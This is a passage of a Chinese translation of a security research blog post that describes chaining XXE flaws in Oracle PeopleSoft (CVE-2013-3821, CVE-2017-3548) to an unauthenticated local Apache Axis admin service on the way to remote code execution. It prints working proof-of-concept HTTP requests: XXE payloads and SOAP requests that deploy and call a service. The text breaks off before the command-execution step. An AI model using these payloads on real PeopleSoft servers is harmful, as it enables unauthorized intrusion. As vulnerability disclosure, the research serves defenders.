原文地址:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
几个月前,我有幸参与几个Oracle PeopleSoft建设项目的安全审计,审计对象主要为PeopleSoft系列的人力资源管理系统(HRMS)和开发工具包(PeopleTool)。纵观网上关于PeopleSoft的安全资料,除了几个无法证实的CVE漏洞参考之外,就只有ERPScan在两年前HITB会议的一个信息量极大的演讲。根据ERPScan的演讲PDF我发现,尽管网上鲜有PeopleSoft的安全信息,但它其实漏洞重重。
仅从我随手的安全测试来看,PeopleSoft应用程序包含很多不经验证授权的服务端点,可能出于高交互性,这些服务端中大部分都使用了默认密码。这种脆弱的安全环境明摆着给攻击者敞开了门窗。在这篇文章中,我将展示如何利用一个XXE漏洞提权以执行系统命令,该问题可能影响当前所有PeopleSoft版本软件。
XXE漏洞:获取本地网络访问权限
PeopleSoft存在多个XXE漏洞,如早几年的CVE-2013-3800和CVE-2013-3821,最新的为ERPScan发现的CVE-2017-3548。通常来说,可以利用这些漏洞获得PeopleSoft和WebLogic控制端的密码信息,但在该测试环境中这种方法的成功实现需要一定难度。另外,由于CVE-2017-3548为Bind-XXE漏洞,而且我认为目标网络系统可能部署有防火墙,所以,利用XXE漏洞窃取系统信息并不像想像中的那么简单。在这里,我们一起来看看CVE-2013-3821和CVE-2017-3548的PoC利用代码:
CVE-2013-3821:集成网关HttpListeningConnector XXE
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">
换个思路考虑一下,我觉得可以利用XXE漏洞来访问本地服务器localhost的各种服务,或许这还能绕过防火墙规则或身份验证检查。因此,在这里只需要知道PeopleSoft的服务端口即可。最终,我通过获取其访问主页服务的cookie识别了端口信息:
Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;
可以看出,当前PeopleSoft的服务端口为5100,可以通过<http://localhost:51500/>方式访问到相应的应用程序。
Apache Axis服务的利用
在PeopleSoft服务架构中,其中一个未经验证授权的服务为通过*http://website.com/pspc/services*方式访问的Apache Axis 1.4。该Apache Axis服务允许我们从Java类中构建SOAP终端,然后利用生成的Web服务描述语言(WSDL)配合辅助代码实现与这些终端进行交互。我们可以通过http://website.com/pspc/services/AdminService对Apache Axis服务进行管理:
以下为Apache Axis管理员基于java.util.Random类创建SOAP服务端的POST代码,从该代码中,我们可以看到一些具体的服务创建方式:
POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
由于java.util.Random类中的每一个公用方法都可以作为一个服务来使用,因此,我们可以通过SOAP来调用Random.nextInt()方法,其请求的POST代码如下:
POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:nextInt />
</soapenv:Body>
</soapenv:Envelope>
之后,会产生以下响应信息,这些信息对应了XML方式的一些设置:
HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:nextIntResponse
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
<nextIntReturn href="#id0"/>
</ns1:nextIntResponse>
<multiRef id="id0" soapenc:root="0"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xsi:type="xsd:int"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
1244788438 <!-- Here's our random integer -->
</multiRef>
</soapenv:Body>
</soapenv:Envelope>
虽然该管理终端对外部IP地址进行了屏蔽,但通过localhost本地访问时却不需要输入任何验证密码。因此,这理所当然地成为了我们的一个渗透突破口。但是,由于我们将要利用的是XXE漏洞,需要通过构造GET方式获取相关信息,因此可以参考以上创建服务和调用方法的POST请求,在后续与服务器的交互过程中,将我们特定的SOAP Payload攻击载荷转换为GET请求发送给主机服务器,最终尝试获得一些有用信息。
Axis: 参考POST请求构造GET形式的SOAP Payload
Axis API允许发送GET请求,它首先会接收给定的URL参数,然后再将这些参数转换为一个SOAP Payload。通过分析发现,在Axis源代码中,有一段方法代码可以把GET参数转换为有效的XML Payload,该方法代码如下:
public class AxisServer extends AxisEngine {
[...]
{
String method = null;
String args = "";
Enumeration e = request.getParameterNames();
while (e.hasMoreElements()) {
String param = (String) e.nextElement();
if (param.equalsIgnoreCase ("method")) {
method = request.getParameter (param);
}
else {
args += "<" + param + ">" + request.getParameter (param) +
"</" + param + ">";
}
}
String body = "<" + method + ">" + args + "</" + method + ">";
String msgtxt = "<SOAP-ENV:Envelope" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
"<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
"</SOAP-ENV:Envelope>";
}
}
为了更好地理解它的转换机制 ,我们来看这个示例:
GET /pspc/services/SomeService
?method=myMethod
¶meter1=test1
¶meter2=test2
以上GET请求等同于XML形式的设置如下:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod>
<parameter1>test1</parameter1>
<parameter2>test2</parameter2>